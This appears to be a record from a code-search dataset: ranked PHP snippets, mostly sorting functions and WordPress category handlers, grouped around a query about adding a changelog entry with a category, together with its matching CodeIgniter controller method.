}elseif($aItem['uid']>$bItem['uid'])\n return 1;\n return 0;\n }", "function filterDiffTime($all_meals, $diff_time){\n\n $query_date = date('c', intval($diff_time));\n $meals = [];\n \n\n foreach($all_meals as $meal){\n if($meal->status == 'created' && $meal->created_at > $query_date){\n $meals[] = $meal;\n \n }\n elseif($meal->status == 'updated' && $meal->updated_at > $query_date){\n $meals[] = $meal;\n \n }\n elseif($meal->status == 'deleted' && $meal->deleted_at > $query_date){\n $meals[] = $meal;\n \n }\n }\n\n return $meals;\n }", "public function getSorting();", "function cSsql_get_report_times_gala($gala, $since_time)\r\n{\r\n global $sqlconf;\r\n \r\n $gala = mysql_escape_string($gala);\r\n $query = \"SELECT id, sys, pos, moon, time\r\n FROM `\".$sqlconf['report_table'].\"`\r\n WHERE (`gala` = '$gala' AND `time` >= $since_time)\r\n ORDER BY sys ASC, pos ASC, moon ASC, time DESC\";\r\n $sql = mysql_query($query);\r\n \r\n $result = false;\r\n if (!cSsql_write_error($sql))\r\n {\r\n $result = Array();\r\n while ($report = mysql_fetch_array($sql, MYSQL_ASSOC)) \r\n {\r\n $info['time'] = $report['time'];\r\n $info['id'] = $report['id'];\r\n \r\n $result[$report['sys']]\r\n [$report['pos']][$report['moon']][] = $info;\r\n }\r\n }\r\n return $result;\r\n}", "public function get_sort_event_list()\n\t{\n\t$temp = $this->get_event_list();\n\tif (!empty($temp))\n\t{\n\t\tusort($temp, [&$this, \"ical_dtstart_compare\"]);\n\t\treturn $temp;\n\t}\n\telse\n\t{\n\t\treturn false;\n\t}\n\t}", "function cmpImgTime($element1, $element2) \n {\n $time1 = $element1['mtime'];\n $time2 = $element2['mtime'];\n return $time1 <=> $time2;\n }", "private function sortOptions()\r\n {\r\n $pageActions = array(); // For the result\r\n // Sort changes by file\r\n usort($this->changeAr, \"cmp\");\r\n\r\n foreach ($this->changeAr as $line) {\r\n $file = $line['file'];\r\n $action = $line['action'];\r\n if (array_key_exists($file, $pageActions)) {\r\n continue;\r\n }\r\n $pageActions[$file] = $action;\r\n }\r\n// print_r($pageActions);\r\n return $pageActions;\r\n }", "function sortArticlesByDate(array $a, array $b) : int {\n return strtotime($b['published_date']) - strtotime($a['published_date']);\n}", "function sort ($block,$field,$dir = \"\") {\n\t\t$sort = [];\n\n\t\tforeach ($this->data as $event) {\n\t\t\t$sortval = $event->get($block,$field);\n\n\t\t\tif (is_array ($sortval))\n\t\t\t\t$sortval = $sortval[0];\n\n\t\t\t$sort[$sortval] = $event;\n\t\t}\n\n\t\t# choose sort direction\n\t\tif (strtoupper($dir) == \"DESC\")\n\t\t\tkrsort ($sort);\n\t\telse\n\t\t\tksort($sort);\n\n\t\t$this->data = $sort;\n\t}", "function SortArticlesByDate( $a, $b ){\n return strtotime($a['date']) < strtotime( $b['date'] );\n}", "function sortDateAscending($thisFiles) {\n \tusort($thisFiles, \"cmpDA\");\n \treturn $thisFiles;\n }", "public function sortByCreatedAtDesc()\n {\n return $this->sortByDesc(function($item) {\n return $item->getCreatedAt();\n });\n }", "private function removeDuplicatesAndSortArray(array $rawArray) : array {\n array_multisort(\n array_column($rawArray, 'X'), SORT_ASC,\n array_column($rawArray, 'Y'), SORT_ASC,\n $rawArray\n );\n\n return array_map(\"unserialize\", array_unique(array_map(\"serialize\", $rawArray)));\n }", "function sortRetailers($retailersArray)\n{\n $keyRevenue = \"Revenue\";\n $keyType = \"Type\";\n\n //create a temp array to hold it\n foreach($retailersArray as $k =>$v){\n $RevenueTemp[] = strtolower($v[$keyRevenue]);\n }\n //sorted from high to low\n arsort($RevenueTemp);\n\n //create a new array to hold sorted temp\n foreach($RevenueTemp as $k=>$v) {\n $RevenueSorted[] = $retailersArray[$k];\n }\n\n\n $TempArrayLength = count($RevenueSorted);\n\n $ResellerSortTemp = [];\n for($i = 0; $i < $TempArrayLength; $i++) {\n if($RevenueSorted[$i][$keyRevenue] >= 100000.00 && $RevenueSorted[$i][$keyType] == 'RESELLER') {\n $ResellerSortTemp[$i] = $RevenueSorted[$i];\n continue;\n }\n }\n\n var_dump($ResellerSortTemp);\n\n\n}", "function sortMatrix(&$asMatrix){\r\n for ($i = 0; $i < count($asMatrix); $i++) {\r\n for ($j = $i + 1; $j < count($asMatrix); $j++) {\r\n if ($asMatrix[$i]['Magnitude'] < $asMatrix[$j]['Magnitude']) {\r\n $temp = $asMatrix[$i];\r\n $asMatrix[$i] = $asMatrix[$j];\r\n $asMatrix[$j] = $temp;\r\n }\r\n }\r\n }\r\n }", "private function sortByDate($a, $b) {\n\n return strcmp($a->tstamp, $b->tstamp);\n }", "function dateCompareAssociative($a, $b) { \n\tif($a['startTime']->getTimestamp() == $b['startTime']->getTimestamp()) {\n\t\treturn 0;\n\t}\n\treturn ($a['startTime']->getTimestamp() < $b['startTime']->getTimestamp()) ? -1 : 1;\n}", "public function first(): array\n {\n return $this->single('date ASC');\n }", "public function sort(array $array)\n {\n sort($array);\n $count = 0;\n foreach ($array as $key => $valor)\n {\n $arrayOrderecha[$key] = $valor;\n $count ++;\n }\n //retorno del resultado a la vista\n return $arrayOrderecha;\n }", "function sortEvt($a,$b) { return strcmp(str_pad($a['sti'],5).$b['adt'], str_pad($b['sti'],5).$a['adt']); }", "function orderHotelsByRate($array)\n{\n return collect($array)->sortByDesc('hotelRate');\n}", "public function sortDaysByDateAndTime(array $days)\n {\n if (count($days)) {\n $eventDate = array();\n $eventTime = array();\n foreach ($days as $key => $day) {\n $eventDate[$key] = $day['eventDate']; // integer\n $eventTime[$key] = $day['EventTime']; // string\n }\n array_multisort($eventDate, SORT_ASC, SORT_NUMERIC, $eventTime, SORT_ASC, SORT_STRING, $days);\n }\n\n return $days;\n }", "public function getAllSortByDate()\n\t{\n\t\t$table = \"\";\n\t\t$table = $this->getTableName();\n\t\t$db_connection = get_db_connection();\n\t\t$dataArray = array();\n\t\t\n\t\t$query = \"select * from $table order by year_posted, month_posted\";\t\t\n\t\t$result = mysqli_query($db_connection, $query);\n\t\t$dataArray = $this->getData($result, $db_connection);\n\t\tmysqli_close($db_connection);\n\t\t\n\t\treturn $dataArray;\n\t}", "private function formatTourDates($result) {\n\t\t$formatedResults = array();\n\n\t\tforeach($result as $item) {\n\t\t\t$item->days = maybe_unserialize($item->days);\n\n\t\t\tif(!array_key_exists($item->id, $formatedResults)) {\n\t\t\t\t$timeInstance = array();\n\n\t\t\t\tif($item->time_id && $item->time) {\n\t\t\t\t\t$timeInstance['id'] = $item->time_id;\n\t\t\t\t\t$timeInstance['time'] = $item->time;\n\n\t\t\t\t\t$item->times = array($timeInstance);\n\t\t\t\t}\n\n\t\t\t\tunset($item->time_id);\n\t\t\t\tunset($item->time);\n\n\t\t\t\t$formatedResults[$item->id] = $item;\n\t\t\t} else {\n\n\t\t\t\tif($item->time_id && $item->time) {\n\t\t\t\t\t$timeInstance = array(\n\t\t\t\t\t\t'id' => $item->time_id,\n\t\t\t\t\t\t'time' => $item->time\n\t\t\t\t\t);\n\n\t\t\t\t\t$formatedResults[$item->id]->times[] = $timeInstance;\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\n\t\treturn $formatedResults;\n\t}", "function sortarray($outarray,$seed) {\n\n\t\t$sorted_array = array();\n\t\t$cpt = 0;\n\n\t\tdo{\n\n\t\t\t$value = false;\n\t\t\t\n\t\t\t$swap = -1;\n\t\t\t$swap_index = -1;\n\t\t\t\n\t\t\tfor($j=0;$j<sizeof($seed);$j++){\n\n\t\t\t\tif($swap<(int)$seed[$j]){\n\t\t\t\t\t$swap=(int)$seed[$j];\n\t\t\t\t\t$swap_index=$j;\n\n\t\t\t\t\t$value = true;\n\t\t\t\t}\n\t\t\t\n\t\t\t}\n\n\t\t\tif($value){\n\t\t\t\t$sorted_array[] = $outarray[$swap_index];\n\t\t\t\tarray_splice($seed, $swap_index, 1, -2);\t\t\t\t\n\t\t\t}\n\t\t\t\t\t\t\n\t\t} while($value);\n\n\t\treturn $sorted_array;\n\n\t}", "public function getAllTimes() {\n\n\t\t\t$query = $this -> database -> query(\"\n\t\t\t\t\tSELECT\n\t\t\t\t\t\tid, nome, jogador1, jogador2\n\t\t\t\t\tFROM \n\t\t\t\t\t\ttimes\n\t\t\t\t\tORDER BY nome\") \n\t\t\t\t\t\t\tor die($this -> database -> error);\n\t\t\t$Xtimes = [];\n\t\t\twhile($time = $query -> fetch_assoc())\n\t\t\t{\n\t\t\t\t$timeC = new Time();\n\t\t\t\t$timeC->setTime($time['id'],$time['nome'],$time['jogador1'],$time['jogador2']);\n\t\t\t\t$Xtimes[] = $timeC;\n\t\t\t}\n\n\t\t\treturn $Xtimes;\n\t\t}", "function sort($array,$by,$type='asc') {\n\t\t$sortField=&$by;\n\t\t$multArray=&$array;\n\t\t\n\t\t$tmpKey='';\n\t\t$ResArray=array();\n\t\t$maIndex=array_keys($multArray);\n\t\t$maSize=count($multArray)-1;\n\t\tfor($i=0; $i < $maSize ; $i++) {\n\t\t\t$minElement=$i;\n\t\t\t$tempMin=$multArray[$maIndex[$i]][$sortField];\n\t\t\t$tmpKey=$maIndex[$i];\n\t\t\tfor ($j=$i+1; $j <= $maSize; $j++) {\n\t\t\t\tif ($multArray[$maIndex[$j]][$sortField] < $tempMin ) {\n\t\t\t\t\t$minElement=$j;\n\t\t\t\t\t$tmpKey=$maIndex[$j];\n\t\t\t\t\t$tempMin=$multArray[$maIndex[$j]][$sortField];\n\t\t \t}\n\t\t\t}\n\t\t\t$maIndex[$minElement]=$maIndex[$i];\n\t\t\t$maIndex[$i]=$tmpKey;\n\t\t}\n\t\tif ($type=='asc') {\n\t\t\tfor ($j=0;$j<=$maSize;$j++) {\n\t\t\t\t$ResArray[$maIndex[$j]]=$multArray[$maIndex[$j]];\n\t\t\t}\n\t\t} else {\n\t\t\tfor ($j=$maSize;$j>=0;$j--) {\n\t\t\t\t$ResArray[$maIndex[$j]]=$multArray[$maIndex[$j]];\n\t\t\t}\n\t\t}\n\t\t\n\t\treturn $ResArray;\n\t}" ]
[ "0.6430514", "0.623456", "0.62275463", "0.61577237", "0.6146513", "0.6128456", "0.6032003", "0.597838", "0.59603775", "0.5844481", "0.5764783", "0.5761677", "0.57348835", "0.5719497", "0.5696442", "0.5690956", "0.5638752", "0.5579361", "0.5530854", "0.55070704", "0.5480025", "0.5463797", "0.5434572", "0.54154456", "0.5404427", "0.5401896", "0.5395293", "0.5388766", "0.5386703", "0.53686225", "0.5364575", "0.5349361", "0.534421", "0.5343144", "0.53297174", "0.53297174", "0.5324412", "0.532269", "0.53112525", "0.5306286", "0.5300368", "0.528997", "0.5286761", "0.5282449", "0.5281857", "0.52672106", "0.5238994", "0.5236405", "0.52108717", "0.5210459", "0.5203967", "0.52030885", "0.51858777", "0.51682705", "0.51609325", "0.51507807", "0.5146239", "0.51280195", "0.5122093", "0.5103839", "0.51024073", "0.5091916", "0.50896937", "0.5071709", "0.5064928", "0.50634015", "0.5040526", "0.5031097", "0.50064135", "0.50040895", "0.49980313", "0.49601144", "0.4945314", "0.49356735", "0.49157044", "0.4907711", "0.48971534", "0.48937947", "0.48920703", "0.4888765", "0.48803383", "0.48737517", "0.48694912", "0.4856639", "0.4840319", "0.4836535", "0.48266685", "0.4826066", "0.4818863", "0.4818506", "0.48084486", "0.48031542", "0.4801526", "0.47977158", "0.47955498", "0.479417", "0.47928032", "0.47922242", "0.478572", "0.47825965" ]
0.6159652
3
Add a change with the given change and category in post.
public function addChange() { // Check for the permission requirePermission("canAddChange"); $change = $this->input->post('change'); $category = $this->input->post('category'); if(empty($category) || empty($change)) redirect('changelog'); $id = $this->changelog_model->addChange($change, $category); $this->logger->createLog('Created change', $change.' ('.$id.')'); $this->plugins->onAddChange($id, $change, $category); die($id.""); $this->index(); }
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "function ac_change_post_query( $args ) {\n $args['category_name'] = 'mango';\n return $args;\n}", "public function add_postAction() {\r\n\t\t$info = $this->getPost(array('sort', 'title', 'img', 'status', 'hits'));\r\n\t\t$info = $this->_cookData($info);\r\n\t\t$result = Game_Service_Category::addCategory($info);\r\n\t\tif (!$result) $this->output(-1, '操作失败');\r\n\t\t$this->output(0, '操作成功');\r\n\t}", "public function edit_postAction() {\r\n\t\t$info = $this->getPost(array('id', 'sort', 'title', 'img', 'status', 'hits'));\r\n\t\t$info = $this->_cookData($info);\r\n\t\t$ret = Game_Service_Category::updateCategory($info, intval($info['id']));\r\n\t\tif (!$ret) $this->output(-1, '操作失败');\r\n\t\t$this->output(0, '操作成功.'); \t\t\r\n\t}", "public function UpdatePost_Category(Request $request){\n $postId = Post::query()->find($request->postID);\n $postId->categories()->detach($request->OldcategoryId);\n $postId->categories()->attach($request->categoryId); \n\n }", "public function change()\n\t{\n\t\t$result = $this->helper_categories_model->getCategories();\n\t\t$this->template\n\t\t\t->title('您期望添加到哪个分类')\n\t\t\t->set_layout(FALSE)\n\t\t\t->set('data', $result)\n\t\t\t->build('admin/helper/change');\n\t}", "function _wp_customize_changeset_filter_insert_post_data($post_data, $supplied_post_data)\n {\n }", "function new_post($post){\n $this->newPost($post);\n }", "public function add(Post $post);", "public function add(Post $post);", "public function add(Category $category);", "public function add(Category $category): Category\n {\n }", "public function multi_entry_category_update()\n {\n // Does the user have permission?\n if ( !ee()->publisher_helper->allowed_group('can_access_content'))\n {\n show_error(lang('unauthorized_access'));\n }\n\n $entries = ee()->input->post('entry_ids', TRUE);\n $cat_ids = ee()->input->post('category', TRUE);\n $type = ee()->input->post('type', TRUE);\n $entry_ids = array();\n\n if ( !$entries || !$type)\n {\n show_error(lang('unauthorized_to_edit'));\n }\n\n if ( !$cat_ids || !is_array($cat_ids) || empty($cat_ids))\n {\n return ee()->output->show_user_error('submission', lang('no_categories_selected'));\n }\n\n // For the entries affected, sync publisher_category_posts to category_posts\n\n foreach (explode('|', trim($entries)) as $entry_id)\n {\n $entry_ids[] = $entry_id;\n }\n\n // default states\n $default_language_id = ee()->publisher_model->default_language_id;;\n $default_view_status = ee()->publisher_setting->default_view_status();\n $states = array();\n\n foreach($entry_ids as $entry_id)\n {\n // we'll always have a state for the default language and status\n $states = array(array(\n 'publisher_lang_id' => $default_language_id,\n 'publisher_status' => $default_view_status\n ));\n\n if ($type == 'add')\n {\n // Adding categories\n // ----------------------------------------------------------------\n\n // We want to add categories to all the open and draft versions\n // of an entry without changing existing category selections\n\n // for each entry, look up existing distinct states\n $query = ee()->db->distinct()\n ->select('publisher_lang_id, publisher_status')\n ->where('entry_id', $entry_id)\n ->get('publisher_titles');\n\n if ($query->num_rows() > 0)\n {\n $result = $query->result_array();\n\n foreach($result as $row)\n {\n if (FALSE === ($row['publisher_lang_id'] == $default_language_id && $row['publisher_status'] == $default_view_status))\n {\n $states[] = array(\n 'publisher_lang_id' => $row['publisher_lang_id'],\n 'publisher_status' => $row['publisher_status']\n );\n }\n }\n }\n\n // build an an array of records to insert into publisher_category_posts\n $data = array();\n\n foreach($states as $state)\n {\n // add the new categories\n foreach($cat_ids as $cat_id)\n {\n $data[] = array(\n 'entry_id' => $entry_id,\n 'cat_id' => $cat_id,\n 'publisher_lang_id' => $state['publisher_lang_id'],\n 'publisher_status' => $state['publisher_status']\n );\n }\n }\n\n // delete any relationships with the newly added categories that already exist\n // for this entry so that we don't end up with duplicate rows\n ee()->db->where('entry_id', $entry_id)\n ->where_in('cat_id', $cat_ids)\n ->delete('publisher_category_posts');\n\n // (re)insert the categories with the appropriate states\n ee()->db->insert_batch('publisher_category_posts', $data);\n }\n\n elseif($type == 'remove')\n {\n // Removing categories\n // ----------------------------------------------------------------\n\n // we're simply removing the selected categories from all versions of the entry\n ee()->db->where('entry_id', $entry_id)\n ->where_in('cat_id', $cat_ids)\n ->delete('publisher_category_posts');\n }\n }\n }", "private function add_post()\n\t{\n\t\tif(!$this->owner->logged_in())\n\t\t\treturn new View('public_forum/login');\n\t\t\n\t\tif($_POST)\n\t\t{\n\t\t\t# validate submit form.\n\t\t\t$post = new Validation($_POST);\n\t\t\t$post->pre_filter('trim');\n\t\t\t$post->add_rules('title', 'required');\n\t\t\t$post->add_rules('body', 'required');\n\n\t\t\t# on error\n\t\t\tif(!$post->validate())\n\t\t\t{\n\t\t\t\t# get the categories\n\t\t\t\t$categories = $this->categories();\n\t\t\t\tif(!$categories)\n\t\t\t\t\treturn 'There are no categories to add posts to =(';\n\t\t\t\t\t\n\t\t\t\t$view = new View('public_forum/submit');\n\t\t\t\t$view->categories = $categories;\n\t\t\t\t$view->errors = $post->errors();\n\t\t\t\t$view->values = $_POST;\n\t\t\t\treturn $view;\n\t\t\t}\n\n\t\t\t# add the new post.\n\t\t\t$new_post = ORM::Factory('forum_cat_post');\n\t\t\t$new_post->forum_cat_id\t= $_POST['forum_cat_id'];\n\t\t\t$new_post->title\t\t\t\t= $_POST['title'];\n\t\t\t$new_post->save();\n\t\t\t\n\t\t\t# posts are technically specially marked comments.\n\t\t\t# add the child comment.\n\t\t\t$new_comment = ORM::Factory('forum_cat_post_comment');\n\t\t\t$new_comment->forum_cat_post_id\t= $new_post->id;\n\t\t\t$new_comment->owner_id\t= $this->owner->get_user()->id;\n\t\t\t$new_comment->body\t\t\t\t= $_POST['body'];\n\t\t\t$new_comment->is_post\t\t\t= '1';\n\t\t\t$new_comment->save();\n\t\t\t\n\t\t\t# update post with comment_id.\n\t\t\t$new_post->forum_cat_post_comment_id = $new_comment->id;\n\t\t\t$new_post->save();\n\t\t\t\n\t\t\t# output a success message.\n\t\t\t$status = new View('public_forum/status');\n\t\t\t$status->success = true;\n\t\t\treturn $status;\n\t\t}\n\t\t\n\t\t# get the categories\n\t\t$categories = $this->categories();\n\t\tif(!$categories)\n\t\t\treturn 'There are no categories to add posts to =(';\n\t\t\t\n\t\t$view = new View('public_forum/submit');\n\t\t$view->categories = $categories;\n\t\treturn $view;\n\t}", "public function store(Category $category , Post $post,CreatePostRequest $form){\n\n \n\n \treturn $post->addComment([\n \t\t'body' => request('body'), \n \t\t'user_id' => auth()->id()\n\n \t])->load('author');\n\n }", "function MamboImporter_AddPostCategoryHelper( $category ){\n\t\t$chain = array();\n\t\t$term_id = -1;\n\t\tif( $category->parent ){\n\t\t\t$term_res = MamboImporter_AddPostCategoryHelper( $category->parent );\n\t\t\tif( empty($term_res['term_id']) ){\n\t\t\t\treturn $term_res;\n\t\t\t}\n\t\t\t$chain = $term_res['chain'];\n\t\t\t$term_id = $term_res['term_id'];\n\t\t}\n\t\t$term_res = wp_insert_term( $category->title, 'category', array(\n\t\t\t'slug' => $category->slug,\n\t\t\t'description' => $category->description,\n\t\t\t'parent' => $term_id\n\t\t\t));\n\t\tif( !$term_res ){\n\t\t\t$term_res = array(\n\t\t\t\t'errors' => array('unknown' => array('Unknown Error') )\n\t\t\t\t);\n\t\t}\n\t\telse if( $term_res instanceof WP_Error ){\n\t\t\t$term_res = array(\n\t\t\t\t'term_id' => $term_res->error_data['term_exists'],\n\t\t\t\t'errors' => $term_res->errors\n\t\t\t\t);\n\t\t}\n\t\tif( $term_res['term_id'] ){\n\t\t\t$chain[] = $term_res['term_id'];\n\t\t}\n\t\t$term_res['chain'] = $chain;\n\t\treturn $term_res;\n\t}", "public function edit(Postcategory $postcategory)\n {\n //\n }", "public function save_category_posts($entry_id, $meta, $data)\n {\n $categories = array();\n\n // Channel:Form/Safecracker\n if (isset($data['categories']))\n {\n $categories = $data['categories'];\n }\n // Normal Entry Save\n elseif (isset($data['revision_post']['category']))\n {\n $categories = $data['revision_post']['category'];\n }\n\n $publisher_save_status = ee()->input->post('publisher_save_status');\n\n // Insert new categories.\n $this->_save_category_posts($entry_id, $publisher_save_status, $categories);\n\n // If option is enabled, and saving as open, delete drafts and save new draft rows too.\n if(\n $publisher_save_status == PUBLISHER_STATUS_OPEN &&\n ee()->publisher_setting->sync_drafts()\n ){\n $this->_save_category_posts($entry_id, 'draft', $categories);\n }\n\n // Get open records, and re-insert them into category_posts, otherwise\n // we get draft category assignments added to the core table.\n if(\n $publisher_save_status == PUBLISHER_STATUS_DRAFT &&\n ($categories = $this->get_category_posts($entry_id, PUBLISHER_STATUS_OPEN))\n ){\n // First delete all category assignments for this entry.\n ee()->db->where('entry_id', $entry_id)\n ->delete('category_posts');\n\n foreach ($categories as $category)\n {\n $data = array(\n 'cat_id' => $category,\n 'entry_id' => $entry_id\n );\n\n $qry = ee()->db->where($data)->get('category_posts');\n\n if ($qry->num_rows() == 0)\n {\n ee()->db->insert('category_posts', $data);\n }\n }\n }\n }", "public function executeAddCategoryUpdate(HTTPRequest $request)\n {\n $this->addCategory($request);\n $this->app->getHttpResponse()->redirect('/admin/updatePost-' . $request->postData('postId'));\n\n }", "public function addPost(){\n\n if ($this->input->post(\"category_create\") === null){\n $this->view->redirect(\"/categories/manage\");\n }\n\n if (!$this->auth->isLogged()) {\n $this->view->redirect(\"/user/login\", \"You can not add new categories if you are not logged in!\");\n }\n\n if (!$this->auth->isInRole(\"admin\")) {\n $this->view->redirect(\"/user/login\", \"You can not manage categories if you are not Admin!\");\n }\n\n $categoryName = $this->input->post(\"category_name\");\n\n $this->validate->setRule(\"minlength\",$categoryName,3, \"Category name length must be more then 3 symbols!\");\n\n if ($this->validate->validate() === false){\n $error = $this->validate->getErrors();\n $this->view->redirect(\"/categories/manage\",$error);\n }\n\n $categoryModel = new CategoriesModel();\n try{\n if ($categoryModel->hasCategory($categoryName)){\n $this->view->redirect(\"/categories/manage\",\"This categories already exist!\");\n }\n\n if($categoryModel->addNewCategory($categoryName)){\n $this->view->redirect(\"/categories/manage\",\"Category created successfully!\",\"success\");\n }\n }catch (\\Exception $exception){\n $this->view->redirect(\"/categories/manage\",$exception);\n }\n }", "public function created(Post $post)\n {\n // Category\n Category::find($post->category)->increment('num');\n\n // Tag\n Tag::whereIn('id', explode(',', $post->tags))->increment('num');\n\n // Archive\n Archive::updateOrCreate(\n ['month' => $post->archive],\n ['num' => 0]\n )->increment('num');\n }", "function track_new_or_updated_content( $post_id, $post, $update ) {\n\t// Bail on auto-save.\n\tif ( defined( 'DOING_AUTOSAVE' ) && DOING_AUTOSAVE ) {\n\t\treturn;\n\t}\n\n\tif ( $update ) {\n\t\t$action = 'update';\n\t} else {\n\t\t$action = 'create';\n\t}\n\n\ttrack( [\n\t\t'event' => 'Content',\n\t\t'properties' => [\n\t\t\t'content_type' => $post->post_type,\n\t\t\t'content_action' => $action,\n\t\t],\n\t] );\n}", "public function add()\n {\n $category = $this->Category->newEntity();\n if ($this->request->is('post')) {\n $category = $this->Category->patchEntity($category, $this->request->getData());\n if ($this->Category->save($category)) {\n $this->Flash->success(__('The category has been saved.'));\n\n return $this->redirect(['action' => 'index']);\n }\n $this->Flash->error(__('The category could not be saved. Please, try again.'));\n }\n $this->set(compact('category'));\n }", "public function editPost()\n {\n if (!$this->auth->isLogged()) {\n $this->view->redirect(\"/user/login\", \"You can not add new categories if you are not logged in!\");\n }\n\n if (!$this->auth->isInRole(\"admin\")) {\n $this->view->redirect(\"/user/login\", \"You can not manage categories if you are not Admin!\");\n }\n\n if ($this->input->post(\"edit_category\") === null){\n $this->view->redirect(\"/categories/manage\");\n }\n\n if (empty($this->input->get(0,\"int\"))){\n $this->view->redirect(\"/categories/manage\");\n }\n\n $categoryId = $this->input->get(0,\"int\");\n\n $categoryName = $this->input->post(\"name\");\n\n $categoryModel = new CategoriesModel();\n\n try{\n if (!$categoryModel->existCategoryId($categoryId)){\n $this->view->redirect(\"/categories/manage\",\"This categories do not exist!\");\n }\n\n if ($categoryModel->editCategory($categoryName, $categoryId)){\n $this->view->redirect(\"/categories/manage\",\"Category edited successfully!\",\"success\");\n } else {\n $this->view->redirect(\"/categories/manage\",\"You did not change anything ?\");\n }\n\n }catch (\\Exception $exception) {\n $this->view->redirect(\"/categories/manage\", $exception->getMessage());\n }\n }", "function colorpicker_field_add_new_category( $taxonomy ) { ?> \r\n\t<div class=\"form-field term-colorpicker-wrap\"> \r\n\t<label for=\"term-colorpicker\">Category Color</label> \r\n\t<input name=\"_category_color\" value=\"#ffffff\" class=\"colorpicker\" id=\"term-colorpicker\" /> \r\n\t<p>This is the field description where you can tell the user how the color is used in the theme.</p> \r\n\t</div> <?php }", "public function addCategoryToGroupByName($gorup_name, $category_name);", "public function check_changes_action_handler() {\n\t\tglobal $wp_version;\n\n\t\tif ( ! ( isset( $_GET['post'] ) || isset( $_POST['post'] ) || // Input var okay.\n\t\t\t( isset( $_REQUEST['action'] ) && 'duplicate_post_check_changes' === $_REQUEST['action'] ) ) ) { // Input var okay.\n\t\t\t\\wp_die(\n\t\t\t\t\\esc_html__( 'No post has been supplied!', 'duplicate-post' )\n\t\t\t);\n\t\t\treturn;\n\t\t}\n\n\t\t$id = ( isset( $_GET['post'] ) ? \\intval( \\wp_unslash( $_GET['post'] ) ) : \\intval( \\wp_unslash( $_POST['post'] ) ) ); // Input var okay.\n\n\t\t\\check_admin_referer( 'duplicate_post_check_changes_' . $id ); // Input var okay.\n\n\t\t$this->post = \\get_post( $id );\n\n\t\tif ( ! $this->post ) {\n\t\t\t\\wp_die(\n\t\t\t\t\\esc_html(\n\t\t\t\t\t\\sprintf(\n\t\t\t\t\t\t/* translators: %s: post ID. */\n\t\t\t\t\t\t\\__( 'Changes overview failed, could not find post with ID %s.', 'duplicate-post' ),\n\t\t\t\t\t\t$id\n\t\t\t\t\t)\n\t\t\t\t)\n\t\t\t);\n\t\t\treturn;\n\t\t}\n\n\t\t$this->original = Utils::get_original( $this->post );\n\n\t\tif ( ! $this->original ) {\n\t\t\t\\wp_die(\n\t\t\t\t\\esc_html(\n\t\t\t\t\t\\__( 'Changes overview failed, could not find original post.', 'duplicate-post' )\n\t\t\t\t)\n\t\t\t);\n\t\t\treturn;\n\t\t}\n\t\t$post_edit_link = \\get_edit_post_link( $this->post->ID );\n\n\t\t$this->require_wordpress_header();\n\t\t?>\n\t\t<div class=\"wrap\">\n\t\t\t<h1 class=\"long-header\">\n\t\t\t<?php\n\t\t\t\techo \\sprintf(\n\t\t\t\t\t\t/* translators: %s: original item link (to view or edit) or title. */\n\t\t\t\t\t\\esc_html__( 'Compare changes of duplicated post with the original (&#8220;%s&#8221;)', 'duplicate-post' ),\n\t\t\t\t\tUtils::get_edit_or_view_link( $this->original ) // phpcs:ignore WordPress.Security.EscapeOutput\n\t\t\t\t);\n\t\t\t?>\n\t\t\t\t</h1>\n\t\t\t<a href=\"<?php echo \\esc_url( $post_edit_link ); ?>\"><?php \\esc_html_e( '&larr; Return to editor', 'default' ); ?></a>\n\t\t\t<div class=\"revisions\">\n\t\t\t\t<div class=\"revisions-control-frame\">\n\t\t\t\t\t<div class=\"revisions-controls\"></div>\n\t\t\t\t</div>\n\t\t\t\t<div class=\"revisions-diff-frame\">\n\t\t\t\t\t<div class=\"revisions-diff\">\n\t\t\t\t\t\t<div class=\"diff\">\n\t\t\t\t\t\t<?php\n\t\t\t\t\t\t$fields = [\n\t\t\t\t\t\t\t'post_title' => \\__( 'Title', 'default' ),\n\t\t\t\t\t\t\t'post_content' => \\__( 'Content', 'default' ),\n\t\t\t\t\t\t\t'post_excerpt' => \\__( 'Excerpt', 'default' ),\n\t\t\t\t\t\t];\n\n\t\t\t\t\t\t$args = array(\n\t\t\t\t\t\t\t'show_split_view' => true,\n\t\t\t\t\t\t\t'title_left' => __( 'Removed', 'default' ),\n\t\t\t\t\t\t\t'title_right' => __( 'Added', 'default' ),\n\t\t\t\t\t\t);\n\n\t\t\t\t\t\tif ( \\version_compare( $wp_version, '5.7' ) < 0 ) {\n\t\t\t\t\t\t\tunset( $args['title_left'] );\n\t\t\t\t\t\t\tunset( $args['title_right'] );\n\t\t\t\t\t\t}\n\n\t\t\t\t\t\t$post_array = \\get_post( $this->post, \\ARRAY_A );\n\t\t\t\t\t\t/** This filter is documented in wp-admin/includes/revision.php */\n\t\t\t\t\t\t// phpcs:ignore WordPress.NamingConventions.PrefixAllGlobals.NonPrefixedHooknameFound -- Reason: we want to use a WP filter from the revision feature.\n\t\t\t\t\t\t$fields = \\apply_filters( '_wp_post_revision_fields', $fields, $post_array );\n\n\t\t\t\t\t\tforeach ( $fields as $field => $name ) {\n\t\t\t\t\t\t\t/** This filter is documented in wp-admin/includes/revision.php */\n\t\t\t\t\t\t\t// phpcs:ignore WordPress.NamingConventions.PrefixAllGlobals.NonPrefixedHooknameFound -- Reason: we want to use a WP filter from the revision feature.\n\t\t\t\t\t\t\t$content_from = apply_filters( \"_wp_post_revision_field_{$field}\", $this->original->$field, $field, $this->original, 'from' );\n\n\t\t\t\t\t\t\t/** This filter is documented in wp-admin/includes/revision.php */\n\t\t\t\t\t\t\t// phpcs:ignore WordPress.NamingConventions.PrefixAllGlobals.NonPrefixedHooknameFound -- Reason: we want to use a WP filter from the revision feature.\n\t\t\t\t\t\t\t$content_to = \\apply_filters( \"_wp_post_revision_field_{$field}\", $this->post->$field, $field, $this->post, 'to' );\n\n\t\t\t\t\t\t\t$diff = \\wp_text_diff( $content_from, $content_to, $args );\n\n\t\t\t\t\t\t\tif ( ! $diff && 'post_title' === $field ) {\n\t\t\t\t\t\t\t\t// It's a better user experience to still show the Title, even if it didn't change.\n\t\t\t\t\t\t\t\t$diff = '<table class=\"diff\"><colgroup><col class=\"content diffsplit left\"><col class=\"content diffsplit middle\"><col class=\"content diffsplit right\"></colgroup><tbody><tr>';\n\t\t\t\t\t\t\t\t$diff .= '<td>' . \\esc_html( $this->original->post_title ) . '</td><td></td><td>' . \\esc_html( $this->post->post_title ) . '</td>';\n\t\t\t\t\t\t\t\t$diff .= '</tr></tbody>';\n\t\t\t\t\t\t\t\t$diff .= '</table>';\n\t\t\t\t\t\t\t}\n\n\t\t\t\t\t\t\tif ( 